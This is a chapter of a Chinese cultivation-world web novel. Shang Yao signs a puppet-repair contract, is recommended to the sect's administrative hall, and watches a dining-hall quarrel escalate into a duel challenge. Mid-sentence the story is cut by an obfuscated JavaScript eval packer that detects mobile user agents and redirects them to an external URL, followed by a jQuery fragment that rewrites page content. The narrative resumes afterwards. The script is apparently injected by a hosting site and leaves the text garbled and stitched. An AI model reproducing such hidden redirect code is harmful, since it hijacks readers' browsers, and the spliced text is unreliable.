商瑶被昆仑宗的家底震惊的时候,葛云飞和沈雁真已经在签契书了,商瑶还是第一次看见契书,契书的内容和上辈子的合同类似,写明了甲乙丙方,契约内容,和报酬明细,葛云飞在丙方写上商瑶的名字,并写明了五十灵石一个。
等笔递到商瑶手中,商瑶捧着契书两眼放光:五十一个,总共四十七个,全部修好那就是两千三百五十灵石,我要发了!
虽说可能都比不上沈雁真修一个丙级傀儡的价钱,但是商瑶没付出劳动,相当于白得了两千多灵石!
沈雁真看见商瑶的财迷样眼中浮现一抹笑意,他道:“葛教习,方才还有些话没说清楚,有些傀儡损坏严重维修价格超过我所报范围的我便不修了,比起维修它们更应当去换新。”
葛云飞理解沈雁真的意思,一个傀儡如果一万灵石买回来,用了一年,维修还要花六七千,确实不如买新的。
商瑶听到这话,觉得沈雁真这小偃师还挺有职业操守。
沈雁真少修一个商瑶也就少赚一份,但商瑶不在乎,她迅速在契书上签下自己的名字,一式三份,商瑶,沈雁真,葛云飞一人一份。
葛云飞拿到契书,扫了眼签名,沈雁真的名字签的潦草,但也能认出字,葛云飞没放在心上。
正当他细想之时,空气中突然传来一道绵长的“咕噜”声。
商瑶捂住肚子,闹了个红脸。
她忙活了大半天,中途还睡了一觉,肚子早就在抗议,商瑶邀请葛云飞和沈雁真一起去膳堂,葛云飞有公务,没答应,只是把商瑶叫到一旁。
“丫头,你跟我来一下。”
商瑶跟着葛云飞走到库仓门口,阳光照到商瑶身上,暖洋洋的,商瑶一下子从库仓里出来,还不太习惯这光亮,她眯了眯眼问道:“葛教习,是有什么事吗?”
葛云飞从怀中掏出一封信,递给商瑶:“前些日子执事堂出了些乱子,不少弟子被罢职,现在执事堂缺人,要求我们教习举荐人才,我昨日看你做事有条理,那汇总表也新颖,便给你写了封举荐信,正好你那偃师朋友也需要执事堂安排住宿,你下午便一并带去执事堂吧。”
商瑶接下信件,想到雅雅学姐和她说过的,五百灵石一个月的报酬,商瑶盯着信封上龙飞凤舞的‘执事堂收’四个大字,不知怎么的,眼睛竟然有些酸涩。
兴许是因为这是她来到修真界收到的第一份表扬。
葛云飞瞧着商瑶,小丫头低头看着信,两个玲珑鬟安静地垂在脑后,那模样一点也没有昨日拿到报酬的兴奋,他不由怀疑,难不成这丫头不愿意去执事堂?
他轻轻咳了一声:“咳,今日不论你找来的偃师能不能修好傀儡,我这封信都打算给你,没想到你这丫头还真有些人脉,有人脉好啊,执事堂是潭浑水,里面的活没点人脉不好干。”
商瑶抬头看向葛云飞,葛云飞的话她都有听进去,她点了点头,认真道:“我一定不会辜负您的信任的。”
葛云飞失笑:“近半年来你也算这演武场的常客,我记着你,又勤奋又能吃苦,就算一时半会在修炼上没有收获,以后也未必不能有造化,下个月的内门考核也要加油啊丫头。”
商瑶没想到葛云飞尽然早就注意到她了,她这下子眼睛更酸了,忙低下头闷闷地“嗯”了一声。
“我会的。”
葛云飞公务在身,指点她两句修练上的事便离开了,商瑶把信件小心的放到衣襟里,回库仓内找沈雁真。
沈雁真正在打开傀儡的胸腔,丁级傀儡的身体是木制的,只是外层有一层薄薄的仿人皮,偃术的发展一部分也要依靠医术的发展,不然还做不出这般类人的傀儡。
他正专心弄着,身后传来商瑶的声音:“你饿不饿,我请你去膳堂吃饭吧。”
沈雁真回头,发现商瑶离他五米远,她举着两只手挡在面前,像是要挡住视线不去看‘剖尸’画面,但是那双漂亮的杏眼又忍不住透过指缝偷瞄手术台上的傀儡。
有这么害怕吗?
沈雁真停下手中动作,他用布盖住傀儡,慢条斯理地将手套摘下,应道:“好。”
*
商瑶带着沈雁真走在去膳堂的路上,边走边介绍道:“我们昆仑宗的膳堂好吃是出了名的,昆仑宗膳堂分三层,一二层是弟子用餐,一层是大堂,二层是包间;三层是给教习长老们用餐的。”
“膳堂刘大厨做的炙子烤羊最受人欢迎,但是这菜不是日日有,每月初三,十三,廿三供应,今日你来的巧,兴许能抢到这热门菜。”
商瑶本是笑着介绍的,可等她一只脚踏进膳堂门槛,听见里面的声音,她的笑容瞬时僵在脸上。
只听大堂里传来一阵吵骂声。
“金无莲,你叫无莲就能真这么不要脸,这最后一份烤羊分明是我的!”
“就是啊金师弟,邓师兄好好地排队被你这么抢了,就算你有明徽真人撑腰,也不能这么欺负邓师兄!”
商瑶一条腿已经迈进去了,就这么一会愣神,门口便围上来三五个看热闹的,商瑶不得已踏进膳堂,贴着门站。
沈雁真还在门口不明所以,这时他身边看热闹的弟子磕着瓜子道:“金无莲一向嚣张跋扈,也不知道明徽真人怎么看上他的。”
另一人从他手里也抓了几颗瓜子,磕道:“你不知道了吧,金无莲是云州郡金家人,人家那可是仙门世家。”
商瑶默默地从门口探出个脑袋问道:“云州郡金家?很了不起的仙门世家吗?”
嗑瓜子的师兄一愣,没想到竟有人连金家都不知道,见商瑶满眼的求知欲,他将手中的瓜子递给商瑶,商瑶连忙摆手,那师兄直接塞到她手里,接着从储物袋里又掏出一把。
商瑶没想到储物袋里还能装这么朴实无华的东西。
“多谢师兄。”
师兄摆手道:“仙门世家你知不知道?”
商瑶大概可能知道,她迟疑地点了点头。
沈雁真看在眼里,心想她应当没接触过外面的世界,怪不得这般单纯。
“云州郡金家,东莱郡沈家,北泠郡贺家,都是老牌世家,要是搁两百年前,这三
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17893062|212795||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
个世家哪个单拎出来都是能和咱们宗门平起平坐的,现在不行了哟,贺家隐世,沈家在东边,和蓬莱宗因为陈年旧事不尴不尬的,金家家主无能,后代青黄不接,只能依附我们昆仑宗。听说是金家老祖亲笔书信安排金无莲入咱们宗门修练的。”
“明徽真人早年与金家老祖有些交情,自然也护着金无莲,他横行霸道惯了,在咱们昆仑也不曾收敛。”
商瑶听他瓜子磕得脆响,没忍住也磕了起来:“师兄,你说的金沈贺三家曾今能和咱们昆仑宗平起平坐,那他们怎么就没落了?”
师兄摇摇头,老神在在道:“不可说不可说。”
大堂里的吵闹声越来越大,金无莲果真是个霸道之人,他挡在打饭口面对众人的指责丝毫不示弱,他垂下眼皮,看人时给人一种被睥睨的感觉,只听他语气骄横道:“你的队我插定了。”
沈雁真默默后退了一步,任由看热闹的人挡住他的身影。
只听大堂内邓源咬牙切齿道:“好你个金无莲,我要向你拔剑!”
拔剑,是剑宗独有的口号,提出拔剑就是要上演武台比一场,昆仑一众剑修都是糙人莽夫,与其在那边扯头花争谁有理,不如直接来硬的,渐渐地就形成了一言不合就拔剑的风气。
长老教习都很鼓励这种以武带练的形式,只要不恶意重伤同门,一般不会下场阻扰。
大堂内瞬时安静下来,紧接着传来一阵窃窃私语。
“拔剑!又有好戏看了!”
“我瞧金无莲不爽也很久了,邓师兄拔剑倒是给咱们内门弟子解气。”
“不知道金无莲敢不敢应。”
沈雁真面色淡淡。
当然敢,他能有什么不敢的?
果不其然,金无莲抬起眼帘,冷哼道:“走啊,演武台上见。”
两人视线相对,针尖对麦芒,这最后一盘烤羊肉也不抢了,双双往门外走去。
刘大厨急着下班,忙问道:“那这盘羊肉归谁?”
金无莲高声道:“谁赢了归谁!”
两人一走,大堂里看热闹的弟子也跟着走,霎时间膳堂便空了大半。
商瑶捧着一手瓜子壳没地方扔,扭头想问问方才那师兄他扔哪的,谁成想门后竟然只剩下沈雁真一人了。
少年低头看着她,问商瑶:“你也想去看热闹?”
商瑶摇头,她低头看了眼瓜子皮:“我想问问师兄他瓜子壳扔哪的?”
好半晌没人说话,商瑶抬起头,沈雁真脸上写满了无语,商瑶无辜地眨了眨眼,修真界又不会遍地垃圾桶,她这么有素质是绝对做不出乱扔垃圾的行为的。
那师兄人走了,地上也没有瓜子壳,想来也收到储物袋里面取了,这么高大上的东西,居然被他用来装瓜子和瓜子壳。
商瑶是不舍得的,沈雁真被商瑶无辜的眼神盯得不自在,他四下扫了一圈,确实没找到合适的地方扔瓜子皮,索性将自己腰间的乾坤袋敞开个口子:“你先丢我这里面吧。”
商瑶一喜,她就知道沈雁真是个好人!